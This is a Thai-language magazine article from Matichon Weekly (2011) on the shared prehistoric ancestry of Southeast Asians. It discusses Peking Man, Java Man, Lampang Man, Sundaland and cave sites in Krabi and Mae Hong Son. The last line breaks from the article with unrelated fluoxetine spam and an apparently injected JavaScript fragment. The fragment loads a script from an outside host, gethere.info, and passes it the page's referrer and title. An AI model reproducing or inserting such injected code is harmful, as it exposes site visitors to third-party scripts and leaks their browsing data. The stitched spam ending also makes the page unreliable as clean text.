มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 1 กรกฎาคม 2554

 

คนอุษาคเนย์ (รวม“คนไทย”) มีบรรพชนร่วมกัน เมื่อหลายพันหลายหมื่นหลายแสนปีมาแล้ว

แต่ประวัติศาสตร์โบราณคดีของประเทศต่างๆ ในภูมิภาคอุษาคเนย์ ถูกครอบงำด้วยวิธีคิดแบบอาณานิคม ให้ตัดขาดญาติโยมโคตรเหง้าเหล่ากอออกจากกัน เลยพาลทะเลาะเบาะแว้งกันไม่จบสิ้น

          ประชาคมอาเซียน มีข้าศึกทรงพลังอย่างยิ่ง คือ วิธีคิดแบบอาณานิคม 

          ชาวอุษาคเนย์ต้องกำจัดข้าศึกนี้ โดยพร้อมใจกันชำระประวัติศาสตร์อุษาคเนย์ของแต่ละประเทศเสียใหม่ ให้สอดคล้องต้องตามหลักฐานมานุษยวิทยาโบราณคดี

 

บรรพชนคนอุษาคเนย์

 

บรรพชนคนอุษาทวีป(เอเชีย) พบหลักฐานกระจายหลายแห่ง ทั้งเขตตะวันออกกลางและเขตตะวันออกไกล รวมทั้งอุษาคเนย์ (หรือเอเชียตะวันออกเฉียงใต้)

ประมาณ 5 แสนปีมาแล้ว มีมนุษย์ปักกิ่ง  (Pe-king Man พบที่ถ้ำโจวโข่วเตี้ยน ใกล้มหานครปักกิ่ง จีน) อาศัยอยู่ตามเพิงผาและเถื่อนถ้ำทางตอนเหนือของผืนแผ่นดินอุษาทวีป

ส่วนทางตอนใต้ที่เป็นผืนแผ่นดินเดียวกันกับตอนเหนือ (คือแผ่นดินซุนดา) ก็มีมนุษย์ชวา (Java Man พบบนเกาะชวา อินโดนีเซีย) อาศัยอยู่เมื่อราว 5 แสนปีมาแล้วเช่นเดียวกัน

ในดินแดนประเทศไทย มีมนุษย์ลำปาง  (Lampang Man พบบริเวณหน้าปากถ้ำ อ. เกาะคา จ. ลำปาง) เพราะได้พบชิ้นส่วนกะโหลกของโฮโม อีเรคตัส  (Homo erectus) มีอายุราว 5 แสนปีมาแล้ว ร่วมยุคกับมนุษย์ปักกิ่งและมนุษย์ชวา

แต่เรื่องนี้ยังต้องรอเวลาศึกษาวิจัยรายละเอียดปลีกย่อยเพิ่มเติมเพื่อความรู้ที่ถูกต้องและมั่นคงอีกมาก

ยังมีรายงานว่าพบชิ้นส่วนมนุษย์ยุคเดียวกันหรือไล่เลี่ยกันอยู่บริเวณมณฑลยูนนาน (ทางตอนใต้ของจีนและอยู่เหนือดินแดนพม่า ลาว ไทย) กับพบชิ้นส่วนมนุษย์ยุคนี้ในพม่าด้วย

หลักฐานเหล่านี้ชี้ชวนให้น่าเชื่อได้ ว่าบรรพชน “คนอุษาคเนย์ร่อนเร่อยู่ตามแนวชายขอบเทือกเขาด้านตะวันตกตั้งแต่ยูนนานลงมาถึงพม่า-ไทย แล้วต่อเนื่องลงไปมาเลเซีย-สิงคโปร์ และพื้นที่แผ่นดินซุนดา ถึงฟิลิปปินส์ อินโดนีเซีย ฯลฯ ตั้งแต่ราว 5 แสนปีมาแล้ว

 

มนุษย์ลำปาง ชิ้นส่วนกะโหลกบริเวณเหนือสันกระบอกตาด้านขวาของมนุษย์ยุคแรกๆ พบที่ อ. เกาะคา จ. ลำปาง หลักฐานเก่าแก่แสดงถึงสิ่งมีชีวิตในดินแดนสยามประเทศไทย

แผนที่แสดงแหล่งที่พบมนุษย์ปักกิ่ง, มนุษย์ชวา และมนุษย์ลำปาง ราว 5 แสนปีมาแล้ว

    

บรรพชน “คนไทย” 

 

บรรพชนคนอุษาคเนย์ (ในประชาคมอาเซียน) มีหลักฐานโบราณคดีกระจายอยู่ในประเทศต่างๆ ที่ล้วนมีวัฒนธรรมคล้ายคลึงอย่างเดียวกัน โดยมีตัวอย่างที่พบในประเทศไทย

ประมาณ 40,000 ปีมาแล้ว ดินแดนอุษาคเนย์ได้รับผลกระทบโดยตรงจากปรากฏการณ์ “ธารน้ำแข็งครั้งสุดท้าย” (Last glacial) บริเวณอ่าวไทยแห้งเหือดเป็น “สะพานแผ่นดิน” เชื่อมระหว่างภาคพื้นทวีปกับหมู่เกาะอุษาคเนย์ น้ำทะเลลดระดับลง อากาศแห้งกว่าปกติ

มนุษย์อุษาคเนย์ยุคนี้เป็นกลุ่มขนาดเล็กเคลื่อนย้ายบ่อยๆ ไปตามแหล่ง ทรัพยากร มักเลือกตั้งถิ่นฐานตามถ้ำหรือเพิงผา

เช่น ที่เพิงผาถ้ำหลังโรงเรียนในเขตบ้านทับปริก อ. เมือง จ. กระบี่ พบเครื่องมือหินกะเทาะและเครื่องมือหินขัดจำนวนมาก ร่องรอยของเถ้าถ่านและวัตถุแสดงถึงการอยู่อาศัยของมนุษย์ที่มีอายุตั้งแต่ 27,000 ปีขึ้นไป

ขณะนั้นแผ่นดินใหญ่อันเป็นที่ตั้งของประเทศไทยและมาเลเซีย ยังเชื่อมต่อเป็นผืนเดียวกันกับฟิลิปปินส์และอินโดนีเซีย

 

โครงกระดูกมนุษย์อุษาคเนย์ พบที่ถ้ำหมอเขียว จ. กระบี่

 

นอกจากนี้คงมีมนุษย์อุษาคเนย์จำนวนไม่น้อยตั้งถิ่นฐานในที่ราบบน “แผ่นดินซุนดา” ช่วงที่น้ำทะเลแห้งเหือด แต่ปัจจุบันหลักฐานเหล่านี้จมอยู่ใต้ท้องทะเลอ่าวไทยและอันดามัน

ประมาณ 12,000 ปีมาแล้ว อากาศอบอุ่น น้ำแข็งละลาย น้ำทะเลมีระดับสูงขึ้นกว่าเดิมทำให้เกิดความชุ่มชื้นขึ้น ขณะเดียวกันน้ำทะเลที่ขึ้นสูงก็จะไหลไปตามพื้นที่   ลุ่มและร่องแม่น้ำที่เคยมีแต่เดิม พื้นที่ที่ได้รับผลกระทบมากที่สุดเห็นจะเป็นบริเวณชายฝั่งอ่าวไทยทั้งภาคกลาง ภาคตะวันออก และภาคใต้ รวมทั้งชายฝั่งทะเลอันดามัน มีการเปลี่ยนแปลงลักษณะภูมิประเทศ เช่น ชายหาดตะกอนพังทลาย เป็นต้น นอกจากนี้พืชพรรณบริเวณใกล้กับแหล่งน้ำมีความหนาแน่นกว่าปัจจุบัน

กระดูกสัตว์ที่พบจากถ้ำหมอเขียว (จ. กระบี่) แสดงว่าพืชพรรณมีลักษณะไม่แตกต่างจากปัจจุบันนัก เป็นป่าดงดิบที่ขึ้นในสภาพแวดล้อมและอากาศแบบป่าเขตร้อนชื้น มีความชุมชื้นของอากาศมาก เช่น ป่าชายเลน

 

โครงกระดูกมนุษย์อุษาคเนย์ พบที่เพิงถ้ำลอด จ. แม่ฮ่องสอน          

 

ส่วนบริเวณภายในสยามประเทศทางภาคเหนือ ภาคตะวันออกเฉียงเหนือ และภาคกลางได้รับผลกระทบน้อยกว่า สภาพแวดล้อมจึงไม่แตกต่างจากปัจจุบันมากนัก แต่จะมีความหนาแน่นของพืชพรรณในป่าและความชุกชุมของสัตว์ป่ามากกว่าปัจจุบัน

ในยุคนี้มีมนุษย์อุษาคเนย์อีกกลุ่มหนึ่ง อาศัยอยู่ตามเพิงผาที่บ้านไร่ (ไฮ่) ต. สบป่อง กับถ้ำลอด ต. ถ้ำลอด (อ. ปางมะผ้า จ. แม่ฮ่องสอน) มีเครื่องมือหินกะเทาะและเครื่องมือทำจากกระดูกสัตว์ ใช้เพิงผาด้านในเป็นที่ฝังศพท่างอตัว

 

อุษาคเนย์แผ่นดินเดียวกัน นับล้านๆ  ปีมาแล้ว

 

อุษาคเนย์เป็นผืนแผ่นดินเดียวกันเกือบทั้งหมดเมื่อนับล้านๆ ปีมาแล้ว ตั้งแต่ตอนเหนือ (คือทางใต้ของจีนปัจจุบัน) ลงไปหมู่เกาะฟิลิปปินส์ และบรูไน จนถึงตอนใต้สุดซึ่งเป็นบริเวณหมู่เกาะของอินโดนีเซีย เช่น สุมาตรา ชวา บอร์เนียว ฯลฯ

เหตุที่เป็นเช่นนั้น เพราะเมื่อล้านๆ ปีที่แล้วระดับน้ำทะเลต่ำมากกว่าปัจจุบัน ทำให้พื้นท้องทะเลในมหาสมุทรทุกวันนี้เป็นผืนดินยืดยาวแผ่นเดียวกัน เรียกแผ่นดินซุนดา (Sunda Land) นักธรณีวิทยาเรียกว่ายุคน้ำแข็ง หรือไพลสโตซีน (Pleistocence Epoch) มีธารน้ำแข็งปกคลุมพื้นที่หลายบริเวณของโลก ทำให้แหล่งน้ำทั้งหลายเหือดแห้งลงจนเกิด “สะพานแผ่นดินเชื่อมติดกัน” เช่น “บริเวณสะพานแผ่นดินแบริ่ง” เชื่อมติดกันระหว่างไซบีเรียกับรัฐอลาสกาของสหรัฐอเมริกา และบริเวณ “ สะพานแผ่นดินซาฮูน ” เชื่อมติดกันระหว่างนิวกินีกับออสเตรเลีย

ดินแดนอุษาคเนย์ที่เห็นและเป็นอยู่ทุกวันนี้มี 2 ส่วน คือส่วนผืนแผ่นดินใหญ่กับส่วนหมู่เกาะ มีทะเลจีนในมหาสมุทรแปซิฟิกกับทะเลอันดามันในมหาสมุทรอินเดียเป็นท้องน้ำผืนใหญ่ไพศาลโอบล้อมไว้ แผ่นดินเดียวกันของอุษาคเนย์ยุคดึกดำบรรพ์เมื่อล้านๆ ปีมาแล้ว มี “แผ่นดินซุนดา” (พื้นที่เข้ม) เชื่อมโยงถึงกันทั้งแผ่นดินใหญ่และหมู่เกาะปัจจุบัน

 

แผ่นดินเดียวกันของอุษาคเนย์ยุคดึกดำบรรพ์เมื่อล้านๆ ปีมาแล้ว มี “แผ่นดินซุนดา” (พื้นที่เข้ม) เชื่อมโยงถึงกันทั้งแผ่นดินใหญ่และหมู่เกาะปัจจุบัน

fluoxetine high fluoxetine buy online s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;